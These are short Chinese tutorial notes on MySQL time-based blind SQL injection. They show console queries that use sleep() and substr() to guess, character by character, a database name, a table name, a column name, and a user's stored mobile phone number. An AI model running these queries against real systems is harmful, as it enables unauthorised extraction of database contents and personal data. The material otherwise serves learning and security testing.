无需页面报错，根据页面响应时间做判断！
mysql基于时间的盲注
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*猜解库名
-下面是猜解正确
mysql> select sleep(1) from (select database() a_database)a where substr(a_database,1,1)=char(0x66);
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)
-下面是猜解错误
mysql> select sleep(1) from (select database() a_database)a where substr(a_database,1,1)=char(0x67);
Empty set (0.00 sec)
*猜解表名
-mysql> select sleep(1) from (select distinct table_name as a_tn from information_schema.tables where table_schema='fangjiangjun' limit 0,1)a where substr(a_tn, 1, 1)='f';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)
-mysql> select sleep(1) from (select distinct table_name as a_tn from information_schema.tables where table_schema='fangjiangjun' limit 0,1)a where substr(a_tn, 1, 1)='x';
Empty set (0.00 sec)
*猜解字段名
-mysql> select sleep(1) from (select distinct column_name as a_cn from information_schema.columns where table_schema='fangjiangjun' and table_name='f_user' limit 0,1)a where substr(a_cn, 1, 1)='i';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.01 sec)
-mysql> select sleep(1) from (select distinct column_name as a_cn from information_schema.columns where table_schema='fangjiangjun' and table_name='f_user' limit 0,1)a where substr(a_cn, 2, 1)='d';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)
*猜解字段值
-mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,1,1)='1';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)
-mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,2,1)='3';
-mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,2,1)='8';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)